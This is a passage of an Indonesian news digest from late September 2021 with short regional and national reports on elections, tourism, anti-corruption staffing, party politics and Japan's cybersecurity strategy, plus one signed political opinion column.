Tjahjanto, Kapolri Jenderal Pol Listyo Sigit Prabowo, serta Kepala BIN Budi Gunawan, di Istana, Jakarta, Senin (27/9). Mahfud dalam pernyataan resminya dalam akun YouTube Kemenko Polhukam, Jakarta, Senin, menjelaskan, pemerintah telah melakukan simulasi tentang tanggal pemilihan, pemungutan suara presiden dan legislatif pada tahun 2024. "Ada tiga pilihan tanggal pemilu yakni 24 April, 15 Mei, 8 Mei atau 6 Mei," katanya. Setelah disimulasikan dengan berbagai hal, seperti memperpendek kegiatan Pemilu agar efisien waktu dan uangnya, masa kampanye diperpendek serta jarak antara pemungutan suara dengan pelantikan presiden tak terlalu lama, maka dipilih Pemilu 2024 pada 15 Mei. (mth)

Aceh Buat Qanun Induk Pembangunan Kepariwisataan 2022-2037

Banda Aceh, FNN - Dewan Perwakilan Rakyat Aceh (DPRA) bersama Pemerintah Aceh sedang memfinalkan konsep rancangan qanun (peraturan daerah) tentang induk pembangunan kepariwisataan 2022-2037. "Targetnya November ini sudah kita paripurna, dan kalau sudah selesai dengan rapat dengar pendapat umum (RDPU) sudah tidak banyak lagi perubahan," kata anggota DPRA Abdurrahman Ahmad, di Banda Aceh, Selasa. Abdurrahman mengatakan, dalam pelaksanaan RDPU ini pihaknya telah menerima berbagai saran masukan untuk kemudian diakomodir dalam qanun tersebut sebagai langkah finalisasi draft. "Ini sudah 80 persen, jadi kami tinggal menerima masukan-masukan dari berbagai daerah lagi. Setelah itu tim kecil panitia khusus merumuskan kembali," ujarnya. Kata Abdurrahman, dalam qanun induk pembangunan kepariwisataan tersebut banyak hal mulai dari investasi pariwisata, usaha kreatif, desa wisata serta berbagai geliat wisata lainnya. Abdurrahman menyampaikan, qanun itu juga dibuat sebagai keinginan terwujudnya wisata halal, atau semuanya diarahkan pada pariwisata Islami. "Qanun ini perlu dilaksanakan, apalagi masyarakat Aceh sering mempersepsikan bahwa pariwisata itu negatif," kata politikus Gerindra itu. Abdurrahman menuturkan, banyak hal yang dapat dikembangkan dalam dunia pariwisata seperti perdagangan serta dapat membuka lapangan kerja baru dengan investasi murah. "Jadi hanya sekali kita investasi dan nanti akan terus berlanjut. Jadi arahnya kita juga mau kembangkan ke situ, pariwisata Islami," demikian Abdurrahman. (mth)

Pemprov Sumbar Bangkitkan Pariwisata dengan Kegiatan Nasional

Padang, FNN - Gubernur Sumatera Barat Mahyeldi mendukung rencana pemerintah, lembaga maupun organisasi yang menggelar kegiatan berupa rakornas, kongres, musyawarah berskala skala nasional di Sumatera Barat untuk kembali merangsang kebangkitan sektor pariwisata. "Sekarang angka penyebaran COVID-19 di Sumbar sudah melandai. Kita siap untuk menjadi tuan rumah bagi kegiatan-kegiatan skala nasional mulai akhir tahun 2021 dan 2022," katanya saat menerima Audiensi Ikatan Dokter Spesialis Anak Sumbar di Padang, Selasa. Menurutnya sektor pariwisata menjadi salah satu yang terdampak pandemi COVID-19. Perlu upaya untuk membangkitkan sektor itu kembali salah satunya dengan menjadi tuan rumah kegiatan berskala besar. Secara infrastruktur, Sumbar sangat siap karena banyak hotel yang bisa menampung banyak tamu hingga tiga ribu orang lebih. Potensi pariwisata juga sangat mendukung baik wisata alam, kuliner hingga seni budaya sehingga peserta kegiatan bisa rileks selepas rapat atau workshop. "Karena itu kita dukung upaya Ikatan Dokter Spesialis Anak untuk menggelar Kongres Nasional di Sumbar," ujarnya. Kalau perlu Gubernur akan menggelar jamuan makan malam sebagai sambutan bagi peserta. Perwakilan Dokter Spesialis Anak Sumbar dr. Vini Fitriani mengatakan pihaknya mengusulkan pelaksanaan Kongres Nasional di daerah itu pada 2023 atau 2024. Menjelang pelaksanaan, pihaknya akan melakukan persiapan matang agar kegiatan bisa berjalan dengan baik dan sukses. "Kami berharap dukungan gubernur untuk menjadi tuan rumah kegiatan ini, salah satunya dengan video testimoni mendukung Kongres Nasional," ujarnya. (myh)

MAKI: Polri Perkuat Ditpikor dengan Rekrut Pegawai KPK Tak Lulus TWK

Jakarta, FNN - Koordinator Masyarakat Anti Korupsi Indonesia (MAKI) Boyamin Saiman mengatakan bahwa merekrut pegawai Komisi Pemberantasan Korupsi (KPK) yang tidak lulus Tes Wawasan Kebangsaan (TWK) sebagai Aparatur Sipil Negara Polri akan memperkuat Direktorat Tindak Pidana Korupsi (Ditpikor) Bareskrim Polri. “Perekrutan 56 orang pegawai KPK yang dianggap tidak lulus TWK justru akan memperkuat Ditpikor Bareskrim Polri dalam melakukan pemberantasan korupsi,” kata Boyamin ketika dihubungi dari Jakarta, Selasa. Boyamin berharap agar 56 orang pegawai KPK menyetujui perekrutan tersebut dan mengambil keputusan untuk menjadi Aparatur Sipil Negara (ASN) Polri. Niat Kepala Kepolisian Negara Republik Indonesia (Kapolri) Jenderal Pol Listyo Sigit Prabowo untuk merekrut 56 orang pegawai KPK yang tidak lulus TWK merupakan bentuk apresiasi atas pengabdian mereka dalam memberantas korupsi selama ini. Bagi Boyamin, memberantas korupsi merupakan bagian dari pengabdian kepada bangsa dan negara. Oleh karena itu, meski tidak lulus TWK, 56 orang pegawai KPK tetap berhak untuk memperoleh apresiasi dan dapat mengabdi sebagai ASN. “Saya kira ini bentuk penghargaan Kapolri, karena sebenarnya orang-orang ini (56 orang pegawai KPK, Red) telah bersedia menjadi ASN. Ini bentuk loyalitas kepada negara dan loyalitas kepada pemerintah juga,” ujar dia. Selain itu, Boyamin menambahkan, tujuan pembentukan KPK adalah untuk memberdayakan lembaga-lembaga penegak hukum agar bisa memberantas korupsi dengan baik. Oleh karena itu, dengan merekrut pegawai KPK menjadi ASN Polri, Boyamin meyakini akan terjadi peningkatan semangat untuk memberantas korupsi. Mereka akan menjadi stimulus di Ditpikor Bareskrim Polri. “Saya memberikan apresiasi yang sangat tinggi kepada Kapolri yang merekrut mereka,” kata Boyamin. Sebelumnya, Kapolri Jenderal Pol Listyo Sigit Prabowo menyampaikan keinginannya untuk menarik 56 pegawai KPK yang tidak lulus TWK untuk menjadi ASN Polri. Sigit telah menyampaikan keinginan tersebut kepada Presiden Joko Widodo dan telah mendapatkan persetujuan. (mth)

Gubernur Minta Dunia Usaha Bantu Percepatan Pembangunan di Maluku

Ambon, FNN - Gubernur Maluku Murad Ismail meminta kalangan dunia dunia usaha untuk ikut berkontribusi terhadap percepatan pembangunan di wilayah itu, melalui tanggung jawab sosial dan lingkungan. "Keberadaan dunia usaha tidak hanya sekedar mengejar finansial dan properti, tetapi ikut bertanggung jawab terhadap masalah sosial dan lingkungan tempatnya beroperasi," kata Gubernur di Ambon, Selasa. Murad Ismail memandang peran dunia usaha yang beroperasi di Maluku sangat besar artinya bagi percepatan pembangunan di wilayah tersebut, terutama di masa pemulihan ekonomi setelah dihantam pandemi COVID-19. "Peran dan kontribusi dunia usaha melalui tanggung jawab sosial perusahaan bersinergi dengan program pemerintah daerah di berbagai sektor dengan fokus utama menurunkan angka kemiskinan dan mengatasi pengangguran," katanya. Peran dunia usaha, masih menurut dia, juga dinilai sebagai salah satu strategi percepatan pembangunan dan mengatasi keterbatasan anggaran pembangunan di daerah. Tanggung jawab sosial dunia usaha itu telah tertuang dalam peraturan Daerah (Perda) Provinsi Maluku Nomor 9 tahun 2014 tentang tanggung jawab sosial perusahaan di Maluku, serta Peraturan Gubernur Maluku Nomor 61 tahun 2021 tentang forum tanggung jawab sosial dan lingkungan badan usaha (FTSLBU). Untuk itu, Gubernur Maluku memandang pembentukan FTSLBU berdasarkan peraturan daerah dapat dijadikan wadah membangun sinergi antara pemerintah dan dunia usaha untuk mempercepat pemulihan ekonomi dan pembangunan di Maluku pascapandemi COVID-19 Forum tersebut dinilai sangatlah penting selain sebagai implementasi amanat regulasi untuk memperoleh pemahaman yang juga untuk mendorong kontribusi kemitraan pelaku usaha dalam upaya pemberdayaan dan peningkatan kesejahteraan masyarakat. Sedangkan Ketua Tim Gubernur Percepatan Pembangunan (TGPP) Hadi Basalamah mengatakan, seluruh program BUMN, BUMD serta di dunia usaha, akan dikolaborasikan dan diselaraskan dengan tujuh program prioritas dan sembilan program unggulan Pemprov Maluku. "Karena itu pembentukan FTSLBU diharapkan menjadi wadah sinkronisasi program pemerintah dan badan usaha. Jadi tidak lagi bekerja sendiri-sendiri seperti sebelumnya," katanya. Forum tersebut juga akan menyepakati lokasi khusus program yang tidak hanya berpusat di Kota Ambon, tetapi di 10 kabupaten/kota lainnya di Maluku. (mth)

Ombudsman Agendakan Panggil Ulang Kakanwil Kemenkumham Sumut

Medan, FNN - Ombudsman RI Perwakilan Sumatera Utara (Sumut) mengagendakan pemanggilan ulang Kepala Kantor Wilayah Kementerian Hukum dan Hak Asasi Manusia (Kakanwil Kemenkumham) Sumut terkait penganiayaan napi di Lembaga Pemasyarakatan (Lapas) Kelas IA Tanjung Gusta, Medan. Kepala Pemeriksaan Ombudsman RI Perwakilan Sumut James Marihot, di Medan, Selasa, mengatakan bahwa pemanggilan terhadap Kakanwil Kemenkumham Sumut dijadwalkan pada Kamis (30/9). "Kamis mendatang ini kami panggil," katanya. Ia menyebut bahwa pemanggilan tersebut dilakukan, karena Kakanwil Kemenkumham Sumut mangkir atau tidak memenuhi panggilan sebelumnya pada Senin (27/9). "Pemanggilan ini untuk mendalami kasus penganiayaan warga binaan," ujarnya pula. Penganiayaan terhadap seorang warga binaan di Lembaga Pemasyarakatan Kelas IA Tanjung Gusta Medan viral di media sosial (medsos). Dalam video itu menunjukkan seorang narapidana menyebut rekannya dipukuli, karena tidak memberikan uang kepada petugas, sambil memperlihatkan punggung rekannya yang memar karena diduga dianiaya. (mth)

OJK Dukung Pengembangan UMKM Melalui Gernas BBI

Manado, FNN - Otoritas Jasa Keuangan (OJK) dan berbagai industri jasa keuangan mendukung pengembangan pelaku UMKM melalui Gerakan Nasional Bangga Buatan Indonesia (Gernas BBI). Kepala OJK Sulutgomalut Darwisman, di Manado, Selasa, mengatakan OJK bersama industri perbankan, industri keuangan non bank, pasar modal dan fintech berkomitmen untuk terus meningkatkan pengembangan UMKM untuk mendorong pemulihan ekonomi nasional. Dia mengatakan dalam rangka memperkuat sinergi mendukung Gernas BBI OJK memperkuat sinergi dengan IJK untuk menjalankan upaya konkret dalam mengembangkan UMKM. “Untuk mencapai tujuan dan target program Gernas BBI, sektor jasa keuangan diharapkan dapat berkomitmen untuk terus memfasilitasi pengembangan ekosistem UMKM berbasis digital," katanya. Ia mengatakan, pihaknya juga memperluas akses pembiayaan UMKM dari hulu ke hilir, melakukan pembinaan dan pendampingan UMKM, serta meningkatkan literasi dan inklusi keuangan UMKM. Sebelumnya, OJK juga telah melakukan berbagai program dan kebijakan mendorong perkembangan UMKM antara lain replikasi KUR Klaster, membangun ekosistem digital Bank Wakaf Mikro (BWM). Selain itu, OJK juga telah menyediakan platform pemasaran UMKMMU, kurasi produk unggulan di platform UMKM, melakukan kerja sama dengan Tim Percepatan Akses Keuangan Daerah (TPAKD), mendukung program DigiKu serta menginisiasi pendirian Kampus UMKM. Ia juga mengemukakan bahwa dalam memberikan ruang untuk UMKM dapat bertahan dan bangkit kembali di masa pandemi, OJK telah mengeluarkan kebijakan restrukturisasi melalui Peraturan OJK 11 tahun 2020 yang diperpanjang hingga Maret 2023. (mth)

Wagub Jabar Apresiasi Warung Grosir Digital

Bandung, FNN - Wakil Gubernur Jawa Barat Uu Ruzhanul Ulum mengapresiasi Warung Grosir Digital Indonesia yang merupakan wadah UMKM memasarkan produknya secara digital. Menurut Pak Uu, UMKM menjadi obat penawar pemulihan ekonomi yang terhantam pandemi COVID-19 sehingga kue ekonomi dirasakan masyarakat dengan lebih merata lagi. "Bidang UKM salah satu solusi meningkatnya ekonomi. Juga ada pemerataan unsur keadilan, hingga tingkat desa ekonominya harus meningkat dan merata. Semua harus kebagian kue ekonomi di Jabar," ujar Uu Ruzhanul Ulum saat Panandatanganan Kerja Sama Penyaluran Kredit Mitra Warung Grosir Digital Indonesia bersama Bank Rakyat Indonesia di Kota Bandung, Selasa. Selain UMKM, Pemda Provinsi Jabar juga mendukung perkembangan desa wisata, OVOC (One Village One Company), dan juga dukungan terhadap BUMDes. Ini demi meningkatnya daya beli masyarakat hingga ke wilayah perdesaan. Uu mengapresiasi Wagros Digital Indonesia, yang juga bekerja sama dengan Bank BRI Kantor Cabang Bandung. Wagros menjadi wadah bagi para pedagang sekaligus penyedia bahan pokok bagi masyarakat yang dipasarkan secara digital. "Wagros mendorong lahirnya UMKM baru, mendorong mereka yang bergerak ditambahkan modal, ditambahkan barang, pengetahuan, pendidikan teknologi digital pemasaran," katanya. "Bergandengan dengan BRI, bukan hanya soal laba tapi juga tanggung jawab untuk meningkatkan perekonomian rakyat," tambah Uu. Pemimpin Wilayah BRI Bandung Ida Bagus Ketut Subagia menyebut sektor UMKM merupakan bisnis utama Bank BRI. Saat pandemi COVID-19 yang melanda merupakan tantangan tersendiri. Berbeda dengan krisis ekonomi yang lain pandemi berdampak banyak pada berbagai sektor. "Pandemi COVID-19 saat ini berdampak hampir ke seluruh sektor bisnis. Kami akan melakukan segala upaya menyelamatkan UMKM," kata Subagja. "Kantor wilayah BRI Bandung, terus mendorong kantor pusat agar KUR terbesar di Jabar, karena pertumbuhan UMKM luar bisa di sini di tahun 2021 kami terus berupaya supaya dapat KUR dua kali lipat dari tahun tahun sebelumnya," katanya. Pada 2021, terdapat Rp22,5 triliun di mana sampai dengan September pertengahan sudah terealisasi Rp15 triliun, dan sisa Rp7 triliun untuk direalisasikan hingga akhir tahun ini. "Dengan Wagros, diharapkan pertumbuhan semakin cepat terealisasikan. Wagros diharapkan jadi pintu masuk agar realisasi KUR tercapai, ekonomi tumbuh sesuai yang kita harapkan," kata dia. (mth)

Wali Kota Bogor Minta Wisata Malam Kebun Raya Dihentikan

Kota Bogor, FNN - Wali Kota Bogor Bima Arya meminta pengelola Kebun Raya Bogor (KRB) menghentikan operasional wisata malam dengan cahaya lampu atau glow di KRB sampai ada hasil penelitian dari Badan Riset dan Inovasi Nasional (BRIN) dan IPB University. Permintaan tersebut disampaikan Bima Arya di Balai Kota Bogor, Selasa, setelah berdialog dengan pengelola KRB dari PT Mitra Natura Raya (MNR). Bima Arya menyampaikan kepada pengelola KRB ada surat dari para ahli botani, mantan pimpinan KRB, yang menyatakan keberatan terhadap rencana operasional wisata malam di kawasan konservasi tumbuhan tersebut. Bima Arya meminta agar BRIN dan IPB University melakukan kajian ilmiah terkait wisata malam di KRB yang memanfaatkan lampu-lampu sorot, dikhawatirkan dapat menganggu habibat tanaman dan ekosistem yang ada. "Wisata malam itu distop dulu sampai ada hasil kajian para ahli BRIN dan IPB University. Hasil kajian ilmiah ini sangat penting sebagai landasan untuk memutuskan, apakah wisata malam itu bisa dioperasikan atau tidak," katanya. Bima Arya juga menugaskan Kepala Dinas Lingkungan Hidup Deny Wismanto untuk membantu mengoordinasikan BRIN dan IPB, melakukan kajian tersebut. "Apapun jawabannya dari BRIN dan IPB, nanti kami komunikasikan lagi dengan PT MNR. Prinsipnya, kami ingin memastikan semuanya berjalan sesuai karakter Kota Bogor dan potensi yang ada di KRB,” katanya. Sebelumnya, lima mantan kepala KRB, membuat surat terbuka untuk menyikapi wisata malam yang akan dioperasikan pengelola KRB, yakni PT MNR. Wisata malam yang dimaksudkan adalah wisata glow yakni destinasi permainan cahaya dengan pohon sebagai latar belakangnya. Wisata glow ini dinilai dapat mengganggu kehidupan hewan dan serangga penyerbuk di KRB. Kelima mantan pimpinan KRB itu adalah, Prof Dr Made Sri Prana (1981-1983), Prof Dr Usep Soetisna (1983-1987), Dr Ir Suhirman (1990-1997), Prof Dr Dedy Darnaedi (1997-2003), dan Dr Irawati (2003-2008). Surat terbuka itu ditujukan kepada Sekretaris Utama BRIN, Plt. Direktur kemitraan Riset dan Inovasi BRIN, Plt. Direktur pengelolaan Koleksi Ilmiah BRIN, Plt. Kepala kantor Pusat Riset Konservasi BRIN, dan Direktur Utama PT MNR, tertanggal 20 September 2021. (mth)

Jadikan Syaikhona Kholil Sebagai Pahlawan Nasional

Jakarta, FNN - Pengurus Dewan Pimpinan Pusat (DPP) Partai NasDem menemui Menko Polhukam Mahfud MD terkait usulan agar ulama besar asal Bangkalan, Madura, Jawa Timur, Syaikhona Kholil ditetapkan sebagai pahlawan nasional. Pertemuan itu berlangsung di Kantor Kemenko Polhukam, Jakarta, Selasa, 28 September 2021. Fungsionaris Partai NasDem dipimpin oleh Ketua Bidang Ideologi, Organisasi, dan Kaderisasi DPP Partai NasDem Sri Sajekti Sudjunadi didampingi Ketua Bidang Pendidikan dan Kebudayaan Nining Indra Saleh, Wakil Ketua Fraksi NasDem DPR Willy Aditya, dan Sekretaris Fraksi NasDem MPR Syarif Abdullah Alkadrie. Selain itu hadir Ketua DPP Bidang Pemuda dan Olahraga Mohammad Khairul Amri, Anggota DPR RI Dapil Jatim 2 Aminurrochman, Tenaga Ahli Fraksi NasDem DPR Faradina Al Anshori, Tim Media Center DPP Partai NasDem Fahirmal Fahim, dan Muhaimin yang merupakan Ketua Tim Penulis Biografi Syaikhona Kholil dan pengurus Yayasan Syaikhona Kholil. Sri Sajekti Sudjunadi yang akrab disapa Jeanette mengatakan Partai NasDem beserta pengusul dari Yayasan Syaikhona Kholil melakukan audiensi terkait usulan untuk pemberian gelar pahlawan nasional kepada Syaikhona Kholil Bangkalan. "Kami menyampaikan kepada beliau (Menkopolhukam Mahfud MD) tentang perjalanan pengajuan gelar pahlawan tersebut. Sekaligus kami melaporkan kepada, seluruh persyaratan sudah lengkap dan sesuai dengan jadwal sudah kami ajukan melalui Kemensos (Kementerian Sosial)," ujar Jeanette dalam siaran persnya. Sekretaris Fraksi NasDem MPR RI Syarief Abdullah Alkadrie menuturkan proses perjuangan mengusulkan Syaikhona Kholil sebagai pahlawan nasional sudah dilakukan sejak 2018. Saat itu, pengurus Partai NasDem di Jawa Timur sudah melakukan kajian secara komprehensif. Kemudian, lanjut Syarief, hasil kajian dari teman-teman Jawa Timur ditindaklanjuti hingga tingkat nasional. Bahkan, sudah beberapa kali diseminarkan. "Apa yang menjadi referensi Syaikhona Kholil sebagai pahlawan nasional itu memang betul-betul sudah didukung oleh fakta secara ilmiah sehingga beliau bisa ditetapkan sebagai pahlawan nasional," kata legislator dari Dapil Kalimantan Barat I ini. Yang membuat NasDem bersemangat untuk memperjuangkan Syaikhona Kholil, jelas Syarief, karena melihat pada spirit yang telah dilakukannya. Syaikhona, ujar Syarif, merupakan guru bangsa, di antaranya banyak murid beliau yang menjadi pahlawan nasional. Bahkan, Syaikhona merupakan inspirator berdirinya ormas Islam terbesar di Indonesia, yakni Nahdlatul Ulama dan Muhammadiyah. "Ini juga suatu perekat untuk kebangsaan sehingga menumbuhkan dan mempererat nilai-nilai nasional kebangsaan," ujar Wakil Ketua Komisi V DPR ini. Syaikhona Kholil juga merupakan tokoh pendidik yang diakui di dalam maupun di luar negeri. "Banyak karya beliau yang menjadi referensi di lembaga luar negeri. Beliau ini merupakan seorang tokoh yang telah membawa nama bangsa di kancah internasional," jelasnya. Melihat perjuangan Partai NasDem, pengurus Yayasan Syaikhona Kholil Bangkalan, Muhaimin mengaku terharu dan sangat mengapresiasi kekonsistenan sikap NasDem. "Kami dari tim pengusul Yayasan Syaikhona Kholil menyampaikan penghargaan dan apresiasi setinggi-tigginya kepada segenap jajaran Partai NasDem yang telah menginisiasi proses pengusulan gelar pahlawan ini," ucap Muhaimin. Dia mengucapkan terima kasih kepada Menkopolhukam Mahfud MD yang telah menerima dengan baik kedatangan Yayasan Syaikhona Cholil dan NasDem. "Respons beliau sangat positif, dan beliau sangat mendukung pengusulan gelar Syaikhona Kholil sebagai pahlawan nasional," ujarnya. Dia menambahkan semua persyaratan pengajuan gelar pahlawan nasional bagi Syaikhona sudah dipenuhi, seperti konteks biografi riwayat hidup, dokumen perjuangan, penelitian akademik, bahkan penilaian dari Kemensos untuk proses pengusulan gelar pahlawan nasional. "Yang jelas keempat dokumen usulan itu sudah kami penuhi dan lengkap," katanya. (MD).

Gugatan Yang Dapat Menimbulkan Kekacauan Hukum

By M Rizal Fadillah GUGATAN formil dan materil terhadap AD/ART Partai Demokrat dari kubu Moeldoko yang diklaim sebagai terobosan hukum menurut Yusril Ihza Mahendra kuasa hukum dari empat orang pimpinan Partai Demokrat yang dipecat karena ikut dalam Kongres Luar Biasa di Deli Serdang dapat membawa tiga implikasi besar, yaitu : Pertama, jika gagal dan ditolak oleh Mahkamah Agung atas dasar tidak ada kewenangan MA untuk menguji AD/ART Partai yang merupakan kompetensi internal, maka kredibilitas Yusril Ihza Mahendra tentu merosot. Pakar hukum yang mencoba menerobos tanpa dasar atau melabrak hukum. Kedua, uji formil materil yang dilakukan bukan persoalan murni hukum tetapi masuk area konflik politik. Keempat klien Yusril adalah personal kubu Moeldoko yang "kalah" dalam pertarungan politik dalam memperjuangkan Moeldoko untuk menjadi Ketum Partai Demokrat. Implikasinya baik menang atau kalah adalah terlibatnya Ketum PBB dalam konflik politik Partai Demokrat. Moral politik yang layak dipersoalkan. Ketiga, jika berhasil memenangkan gugatan dimana AD/ART dapat diintervensi oleh kewenangan MA dan diuji bertentangan atau tidak dengan Undang-Undang, maka banyak partai politik akan berada dalam posisi yang labil meskipun partai-partai tersebut sudah terdaftar secara sah di Kemenhukham. Asas kepastian, keamanan dan perlindungan hukum menjadi tergoyahkan. Bila AD/ART dapat diintervensi oleh Mahkamah Agung dengan alasan bertentangan dengan Undang-Undang maka bagaimana jika yang terjadi adalah AD/ART itu diduga bertentangan dengan aturan Konstitusi ? Lucu dan naif jika ternyata AD/ART Partai masuk ke dalam yuridiksi Mahkamah Konstitusi. Ada celotehan jangan jangan tata tertib persidangan juga bisa di Judicial Review ke Mahkamah Agung. Begitu juga dengan sidang sidang komisi di arena kongres atau rakernas. Mahkamah Agung dapat masuk ke dalam se dalam-dalamnya. Tanpa batas. Satu hal terpenting yang wajib menjadi catatan dan perhatian adalah bahwa AD/ART itu sebenarnya tidak termasuk susunan atau hierarkhi peraturan perundang-undangan sebagaimana diatur dalam UU No 12 tahun 2011 tentang Pembentukan Peraturan Perundang Undangan. Lalu jika beralasan kekosongan hukum, mengapa AD/ART Partai bukan UU Parpol nya yang di uji materil ? Memang Yusril bukan menerobos tetapi mengada-ada. Mahkamah Agung seharusnya menolak gugatan Judicial Review dari advokat sekaligus Ketum PBB yang justru dapat menuai badai kontroversi baru baik dalam bentuk kekacauan hukum maupun kekacauan politik. Yang sedang dibela Yusril Ihza Mahendra adalah pembegalan brutal dan kudeta. Yusril baik menang ataupun kalah telah ikut menanggung dosa politik akibat membantu upaya kelompok yang ingin merebut kekuasaan dengan menghalalkan segala cara. Hukum yang telah dijadikan sarana bagi suatu kezaliman. Kekuasaan dan keuangan yang menentukan. *) Pemerhati Politik dan Kebangsaan

Partai Gelora Targetkan Jawa Barat Lumbung Suara

Bandung, FNN - DPW Gelora Jabar mulai memanaskan mesin partai demi menyongsong 'pertarungan politik' di 2024. Sejumlah persiapan terus dilakukan demi kemenangan Partai Gelora di Jawa Barat. Partai besutan Anis Mata ini menggelar rapat koordinasi wilayah (rakorwil) di Kota Bandung. Sejumlah pimpinan partai di Jabar hadir dalam acara tersebut. Ketua DPW Gelora Jabar Haris Yuliana menyatakan rakorwil menjadi momen untuk mengonsolidasikan ide besar dan narasi Partai Gelora Indonesia. Selain itu menjaga kekompakan agar mampu meraih hasil maksimal di kancah perpolitikan tanah air. Partai Gelombang Rakyat (Gelora) bertekad bisa menjadi pemenang di Jawa Barat. Tidak hanya itu, mereka menargetkan provinsi berpenduduk lebih dari 50 juta jiwa tersebut sebagai basis suara secara nasional. Diketahui, partai Gelora yang dideklarasikan pada 10 November 2019 ini dibentuk oleh mantan pengurus Partai Keadilan Sejahtera (PKS). Ketua umum dijabat oleh Anis Matta. Target tinggi menghadapi agenda politik beberapa tahun mendatang terungkap dalam rapat kerja wilayah (Rakorwil) Partai Gelora tingkat Jawa Barat. Acara itu pun menjadi momen untuk konsolidasi terhadap kader. "Ini momen untuk mengkonsolidasikan ide besar dan narasi Partai Gelora kepada seluruh fungsionaris Jawa Barat. Ini penting karena sebagai partai baru kita harus kerja keras," kata Ketua DPW Gelora Indonesia Jawa Barat Haris Yuliana, Minggu (26/9). "Kita kupas sampai tuntas (strategi) bagaimana caranya menang. Jabar akan menjadi prioritas kemenangan Partai Gelora, kita akan menjadikan Jawa Barat ini menjadi salah satu basis terbesar Partai Gelora," tegas dia. Pada rakorwil itu, Sekjen Partai Gelora Mahfudz Sidiq mengatakan suhu politik tahun 2024 sudah mulai menghangat. Para pengurus dituntut kerja ekstra keras agar raihan suara bisa maksimal. Sebagai partai baru, persaingan dengan partai yang sudah lama hadir sangat berat. Namun ia mengingatkan agar tetap fokus pada agenda politik yang dirancang. Jangan sampai terbawa arus hingga terjebak dalam persaingan antar partai maupun polarisasi akibat kontestasi pemilihan presiden yang lalu. "Geliat politik 2024 sudah mulai tercium baunya, kita sudah menganalisa dan melakukan survei terkait posisi Partai Gelora. Di tengah pandemi Covid-19, banyak partai yang terlalu over mengkampayekan partai sedangkan mood publik sedang menurun," tuturnya. "Kemudian di sisi lain pembelahan di tengah masyarakat. Kita sebagai partai politik baru jangan terjebak dan hanyut dalam situasi tersebut, justru yang harus kita lakukan adalah fokus dengan target dan skenario kita sendiri," ucap dia. Skenario yang dimaksud dirinya adalah merealisasikan dan mensosialisasikan ide besar Partai Gelora kepada elite dan seluruh lapisan masyarakat. Lalu, menyiapkan infrastruktur dan elemen-elemen dalam memenangkan partai politik. (mer)

Jepang Tuding China di Balik Ancaman Siber

Ankara, FNN - Jepang untuk pertama kalinya menuding China, Rusia dan Korea Utara sebagai tiga negara yang bertanggung jawab atas ancaman siber terhadap negara tersebut. Pemerintahan Perdana Menteri Yoshihide Suga, Senin (27/9) merilis rancangan strategi keamanan siber untuk tiga tahun ke depan. Kantor Berita Kyodo melaporkan, Kabinet Suga diperkirakan akan segera mengadopsi rancangan tersebut. Strategi yang baru itu nantinya akan menggantikan strategi saat ini yang disetujui oleh Jepang pada Juli. "Situasi di dunia maya membuat risiko berkembang cepat menjadi situasi kritis dan bahwa tiga negara itu diduga terlibat dalam aksi siber yang agresif," tulis laporan tersebut yang mengutip rancangan pemerintah. Belum dipastikan apakah petahana pemerintah Partai Demokrat Liberal (LDP) akan mengesahkan strategi tersebut sebelum Suga mengundurkan diri sebagai perdana menteri pada pekan pertama Oktober. Dikutip dari Antara, Suga pada awal September mengumumkan dirinya enggan mencalonkan diri dalam kepimpinan partai. LDP akan menggelar pemilihan kepemimpinan partai pada Rabu dan ketua yang baru diperkirakan akan menggantikan Suga. Menurut laporan tersebut, rancangan itu berbunyi: "Jepang akan melakukan aksi balasan yang keras dengan memanfaatkan segala cara yang efektif dan kemampuan yang ada, termasuk respons diplomatik dan hukuman pidana." Jepang akan "mempercepat kerja sama" dengan tiga mitra Quad mereka, yakni Amerika Serikat, Australia dan India, dalam keamanan siber. Selain itu, Jepang juga akan bekerja sama dengan ASEAN "untuk mewujudkan kawasan Indo-Pasifik yang bebas dan terbuka." (MD).

Sultan HB X Ingin Keraton Jogja Dikemas Kekinian

Jogjakarta, FNN - Raja Keraton Ngayogyakarta Hadiningrat Sri Sultan Hamengku Buwono X meminta kelima puterinya melakukan "repackaging budaya" atau pengemasan ulang penyajian budaya keraton secara kekinian sehingga lebih menarik generasi milenial. "Ngarsa Dalem X (Sultan HB X) 'dawuh' (mengatakan) kepada saya dan kakak-kakak saya untuk 'repackaging' (mengemas ulang) budaya (keraton)," kata Kawedanan Hageng Punakawan (KHP) Nityabudaya Keraton Yogyakarta GKR Bendara dalam Webinar Jogja International Batik Biennale (JIBB) 2021 dipantau di Yogyakarta, Selasa. Kepada kelima puterinya, Bendara menceritakan, Sultan HB X mengungkapkan keinginannya agar Keraton Yogyakarta bisa lebih membuka diri. "Ngarsa Dalem 'dawuh' kepada kami berlima bagaimana kami bisa membuka diri kepada generasi-generasi penerus saat ini dengan cara yang lebih kekinian," ujar putri bungsu Sultan HB X ini. Sebagai wujud proyek "repackaging budaya", menurut dia, Keraton Yogyakarta kini tengah melakukan renovasi besar-besaran baik pada eksterior maupun interior bangunan tanpa mengubah esensi dari nilai-nilai budaya yang melekat. "Perubahan-perubahan ini di dalam Keraton secara masif kami lakukan," kata Bendara. Museum Keraton Yogyakarta misalnya, kata dia, saat ini tengah direnovasi agar bisa tampil terbaru dengan pemanfaatan teknologi serta cara penyampaian yang mampu menyentuh generasi muda. Renovasi seluruh bangunan juga dilakukan pada ruang batik Keraton. Bukan sekadar menyasar fisik bangunannya, menurut Bendara, nama ruang batik juga akan diubah menjadi "ruang daur hidup". "Kenapa daur hidup, karena bukan hanya batik yang menjadi bagian kebudayaan kita, tapi juga ada lurik, juga ada bentuk-bentuk jenis tekstil lainnya, juga ada arti-arti dari penggunaan motif batik dalam perjalanan hidup masyarakat Jawa," tutur dia. Pengerjaan renovasi, menurut dia, diperkirakan rampung pada akhir 2021. "Ini akan selesai di akhir tahun. Silakan kalau mau berkunjung di awal tahun," kata Bendara. Perubahan, lanjut Bendara, bukan sekadar pada bangunan museum, namun juga mencakup cara penyajian kebudayaan yang ada di Keraton Yogyakarta tanpa mengurangi esensi dari kebudayaan tersebut dengan membuat laman resmi, akun instagram, hingga akun Youtube Keraton. "Ini merupakan cara bagaimana kita bisa melestarikan budaya kita," kata dia. Upaya pembaruan dalam Keraton Yogyakarta, kata Bendara, juga pernah dilakukan pada masa kepemimpinan Sri Sultan HB VII yang membuat Keraton Yogyakarta kala itu lebih terbuka. Berdasarkan catatan sejarah dalam sebuah manuskrip, Bendara menuturkan bahwa Sultan HB VII saat itu meminta para pangeran dalem memproduksi batik keraton secara massal untuk diperjualbelikan. "Inilah yang akhirnya memelopori kreativitas dunia 